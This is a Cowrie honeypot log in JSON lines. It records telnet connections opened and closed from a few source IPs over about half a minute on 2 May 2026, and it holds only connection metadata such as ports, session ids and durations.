{"eventid":"cowrie.session.closed","duration":48.83754229545593,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:57.518272Z","src_ip":"162.219.178.250","session":"a9919c70ec51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.96195459365845,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:58.250345Z","src_ip":"162.219.178.250","session":"b050c8b65b62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":53960,"dst_ip":"10.17.0.5","dst_port":23,"session":"4297e548f99c","protocol":"telnet","message":"New connection: 162.219.178.250:53960 (10.17.0.5:23) [session: 4297e548f99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:58.286026Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":54678,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ba4dcd5a282","protocol":"telnet","message":"New connection: 162.219.178.250:54678 (10.17.0.5:23) [session: 7ba4dcd5a282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:58.816242Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":52992,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1e8ab638b31","protocol":"telnet","message":"New connection: 162.219.178.250:52992 (10.17.0.5:23) [session: e1e8ab638b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:59.503044Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":48014,"dst_ip":"10.17.0.5","dst_port":23,"session":"6baa7341c274","protocol":"telnet","message":"New connection: 162.219.178.250:48014 (10.17.0.5:23) [session: 6baa7341c274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:01.017652Z"}
{"eventid":"cowrie.session.closed","duration":0.005525112152099609,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:01.023040Z","src_ip":"162.219.178.250","session":"6baa7341c274","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":33268,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3f302d48f1a","protocol":"telnet","message":"New connection: 162.219.178.250:33268 (10.17.0.5:23) [session: c3f302d48f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:01.034032Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":60228,"dst_ip":"10.17.0.5","dst_port":23,"session":"7644d80174c4","protocol":"telnet","message":"New connection: 162.219.178.250:60228 (10.17.0.5:23) [session: 7644d80174c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:01.060257Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":60266,"dst_ip":"10.17.0.5","dst_port":23,"session":"c126314c3bb0","protocol":"telnet","message":"New connection: 162.219.178.250:60266 (10.17.0.5:23) [session: c126314c3bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:01.087662Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35556,"dst_ip":"10.17.0.5","dst_port":23,"session":"07062a3cd33d","protocol":"telnet","message":"New connection: 188.208.141.113:35556 (10.17.0.5:23) [session: 07062a3cd33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:01.356724Z"}
{"eventid":"cowrie.session.closed","duration":31.042625904083252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:01.652693Z","src_ip":"162.219.178.250","session":"e08e073ccd9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":34072,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3ba2a4506fa","protocol":"telnet","message":"New connection: 162.219.178.250:34072 (10.17.0.5:23) [session: d3ba2a4506fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:02.703135Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":60344,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae1c355835b2","protocol":"telnet","message":"New connection: 162.219.178.250:60344 (10.17.0.5:23) [session: ae1c355835b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:03.159020Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":58440,"dst_ip":"10.17.0.5","dst_port":23,"session":"fec2b4a12bd4","protocol":"telnet","message":"New connection: 162.219.178.250:58440 (10.17.0.5:23) [session: fec2b4a12bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:03.661171Z"}
{"eventid":"cowrie.session.closed","duration":31.392319440841675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:04.002557Z","src_ip":"162.219.178.250","session":"788a40a43f90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":37160,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f28d4f1d7bc","protocol":"telnet","message":"New connection: 162.219.178.250:37160 (10.17.0.5:23) [session: 6f28d4f1d7bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:04.102213Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":52228,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5757f05a62f","protocol":"telnet","message":"New connection: 162.219.178.250:52228 (10.17.0.5:23) [session: e5757f05a62f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:04.174374Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":35084,"dst_ip":"10.17.0.5","dst_port":23,"session":"84bae36ea3e9","protocol":"telnet","message":"New connection: 162.219.178.250:35084 (10.17.0.5:23) [session: 84bae36ea3e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:05.486608Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":39874,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e8e3792d18e","protocol":"telnet","message":"New connection: 162.219.178.250:39874 (10.17.0.5:23) [session: 8e8e3792d18e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:06.507254Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40204,"dst_ip":"10.17.0.5","dst_port":23,"session":"67b34aa8640c","protocol":"telnet","message":"New connection: 162.219.178.250:40204 (10.17.0.5:23) [session: 67b34aa8640c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:06.757131Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":32936,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa91bab84e7e","protocol":"telnet","message":"New connection: 162.219.178.250:32936 (10.17.0.5:23) [session: aa91bab84e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:06.828909Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35564,"dst_ip":"10.17.0.5","dst_port":23,"session":"b330428bf329","protocol":"telnet","message":"New connection: 188.208.141.113:35564 (10.17.0.5:23) [session: b330428bf329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:07.656945Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35574,"dst_ip":"10.17.0.5","dst_port":23,"session":"26037763afe5","protocol":"telnet","message":"New connection: 188.208.141.113:35574 (10.17.0.5:23) [session: 26037763afe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:07.970527Z"}
{"eventid":"cowrie.session.closed","duration":31.461388111114502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:08.006771Z","src_ip":"162.219.178.250","session":"ebe79b1acf68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":49484,"dst_ip":"10.17.0.5","dst_port":23,"session":"536b6a44d793","protocol":"telnet","message":"New connection: 162.219.178.250:49484 (10.17.0.5:23) [session: 536b6a44d793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:08.015329Z"}
{"eventid":"cowrie.session.closed","duration":31.49376130104065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:08.092021Z","src_ip":"162.219.178.250","session":"08e1e223f752","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":41930,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf010b3e0af8","protocol":"telnet","message":"New connection: 162.219.178.250:41930 (10.17.0.5:23) [session: cf010b3e0af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:08.288864Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":39954,"dst_ip":"10.17.0.5","dst_port":23,"session":"feba1291a606","protocol":"telnet","message":"New connection: 162.219.178.250:39954 (10.17.0.5:23) [session: feba1291a606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:08.590320Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":39436,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8657fd63d50","protocol":"telnet","message":"New connection: 162.219.178.250:39436 (10.17.0.5:23) [session: c8657fd63d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:09.090755Z"}
{"eventid":"cowrie.session.closed","duration":31.23533034324646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:09.168767Z","src_ip":"162.219.178.250","session":"1e01236399df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.287447690963745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:09.215055Z","src_ip":"162.219.178.250","session":"2fd21b9edc58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.216182470321655,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:09.869545Z","src_ip":"162.219.178.250","session":"a37db674eb9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":38619,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac79f5866d97","protocol":"telnet","message":"New connection: 162.219.178.250:38619 (10.17.0.5:23) [session: ac79f5866d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:10.380880Z"}
{"eventid":"cowrie.session.closed","duration":30.820385217666626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:11.163639Z","src_ip":"162.219.178.250","session":"315d70c00681","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.147974252700806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:11.593801Z","src_ip":"162.219.178.250","session":"67db3e4e0e8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20125102996826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:12.175492Z","src_ip":"162.219.178.250","session":"5cd6f5b50683","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":34270,"dst_ip":"10.17.0.5","dst_port":23,"session":"b480d64cbbb0","protocol":"telnet","message":"New connection: 162.219.178.250:34270 (10.17.0.5:23) [session: b480d64cbbb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:12.244304Z"}
{"eventid":"cowrie.session.closed","duration":0.005649089813232422,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:12.249689Z","src_ip":"162.219.178.250","session":"b480d64cbbb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":47152,"dst_ip":"10.17.0.5","dst_port":23,"session":"fecba352f912","protocol":"telnet","message":"New connection: 162.219.178.250:47152 (10.17.0.5:23) [session: fecba352f912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:12.725169Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":47876,"dst_ip":"10.17.0.5","dst_port":23,"session":"d141d8198bf0","protocol":"telnet","message":"New connection: 162.219.178.250:47876 (10.17.0.5:23) [session: d141d8198bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:13.286754Z"}
{"eventid":"cowrie.session.closed","duration":36.821274280548096,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:13.900626Z","src_ip":"162.219.178.250","session":"67914a08470c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.25957798957825,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:15.252084Z","src_ip":"162.219.178.250","session":"05c9b69e8d87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.366413354873657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:15.560579Z","src_ip":"162.219.178.250","session":"366fa0334c25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.228577852249146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:16.329817Z","src_ip":"162.219.178.250","session":"6fd1f9a841eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.5278959274292,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:17.192241Z","src_ip":"206.189.32.23","session":"c84ab06559ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.24106025695801,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:17.249180Z","src_ip":"162.219.178.250","session":"2a41537fb32f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47763204574585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:18.905859Z","src_ip":"162.219.178.250","session":"13d8875c4ccd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.73525643348694,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:19.339870Z","src_ip":"162.219.178.250","session":"2e961c1b7437","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":47062,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e61983b69e7","protocol":"telnet","message":"New connection: 162.219.178.250:47062 (10.17.0.5:23) [session: 8e61983b69e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:19.790544Z"}
{"eventid":"cowrie.session.closed","duration":29.184061765670776,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:20.046872Z","src_ip":"162.219.178.250","session":"f8d73b4b7edd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.434486865997314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:20.940136Z","src_ip":"162.219.178.250","session":"80fd0de860c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.30313420295715,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:21.448206Z","src_ip":"188.208.141.113","session":"2c966b43df41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":57354,"dst_ip":"10.17.0.5","dst_port":23,"session":"759e4ae97625","protocol":"telnet","message":"New connection: 162.219.178.250:57354 (10.17.0.5:23) [session: 759e4ae97625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:22.245216Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":59164,"dst_ip":"10.17.0.5","dst_port":23,"session":"80f0fcc81e59","protocol":"telnet","message":"New connection: 162.219.178.250:59164 (10.17.0.5:23) [session: 80f0fcc81e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:22.751338Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":59212,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dfd58ac8c0a","protocol":"telnet","message":"New connection: 162.219.178.250:59212 (10.17.0.5:23) [session: 1dfd58ac8c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:22.782693Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":41314,"dst_ip":"10.17.0.5","dst_port":23,"session":"c616e433966c","protocol":"telnet","message":"New connection: 162.219.178.250:41314 (10.17.0.5:23) [session: c616e433966c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:23.117213Z"}
{"eventid":"cowrie.session.closed","duration":31.145004272460938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:23.459385Z","src_ip":"162.219.178.250","session":"1692be1ec66e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53723978996277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:23.629111Z","src_ip":"162.219.178.250","session":"5fdea5250159","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.567076444625854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:23.647624Z","src_ip":"162.219.178.250","session":"4004f3a1a500","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":90.99848866462708,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:23.877480Z","src_ip":"162.219.178.250","session":"820f5d1038f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14958119392395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:24.181193Z","src_ip":"162.219.178.250","session":"9034f4b5f6cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.145042657852173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:24.221632Z","src_ip":"162.219.178.250","session":"4d166496f560","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":60512,"dst_ip":"10.17.0.5","dst_port":23,"session":"984bba47c76d","protocol":"telnet","message":"New connection: 162.219.178.250:60512 (10.17.0.5:23) [session: 984bba47c76d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:24.783145Z"}
{"eventid":"cowrie.session.closed","duration":51.56036376953125,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:25.186376Z","src_ip":"162.219.178.250","session":"a153daa2ff26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.239874124526978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:26.332392Z","src_ip":"162.219.178.250","session":"3e8e0b16d519","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.551921367645264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:26.638535Z","src_ip":"162.219.178.250","session":"e8a68d08b69a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":34866,"dst_ip":"10.17.0.5","dst_port":23,"session":"2583b796ec1f","protocol":"telnet","message":"New connection: 162.219.178.250:34866 (10.17.0.5:23) [session: 2583b796ec1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:27.032894Z"}
{"eventid":"cowrie.session.closed","duration":39.153897762298584,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:28.279711Z","src_ip":"188.208.141.113","session":"4fb24d90d6e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.143948078155518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:28.310050Z","src_ip":"162.219.178.250","session":"1538a1c36732","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.165989637374878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:28.434348Z","src_ip":"162.219.178.250","session":"46a74beedd7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":37730,"dst_ip":"10.17.0.5","dst_port":23,"session":"3249ac8c2143","protocol":"telnet","message":"New connection: 162.219.178.250:37730 (10.17.0.5:23) [session: 3249ac8c2143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:28.521959Z"}
{"eventid":"cowrie.session.closed","duration":30.283955335617065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:28.569878Z","src_ip":"162.219.178.250","session":"4297e548f99c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.12095785140991,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:29.964515Z","src_ip":"162.219.178.250","session":"b86c98690c5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.69684171676636,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:29.983713Z","src_ip":"162.219.178.250","session":"b1998272dd19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":49890,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b58e4ac91ed","protocol":"telnet","message":"New connection: 206.189.32.23:49890 (10.17.0.5:23) [session: 8b58e4ac91ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:30.423903Z"}
{"eventid":"cowrie.session.closed","duration":104.6512541770935,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:30.747049Z","src_ip":"162.219.178.250","session":"4ae4cd63bcac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":39054,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff51043dced8","protocol":"telnet","message":"New connection: 162.219.178.250:39054 (10.17.0.5:23) [session: ff51043dced8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:30.766419Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":39522,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0ca1f64b2de","protocol":"telnet","message":"New connection: 162.219.178.250:39522 (10.17.0.5:23) [session: e0ca1f64b2de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:31.247694Z"}
{"eventid":"cowrie.session.closed","duration":30.768357276916504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:31.855872Z","src_ip":"162.219.178.250","session":"c126314c3bb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.113005876541138,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:32.173100Z","src_ip":"162.219.178.250","session":"7644d80174c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.200790405273438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:32.234700Z","src_ip":"162.219.178.250","session":"c3f302d48f1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.084431409835815,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:33.431827Z","src_ip":"162.219.178.250","session":"1db23b1ba75b","protocol":"telnet"}
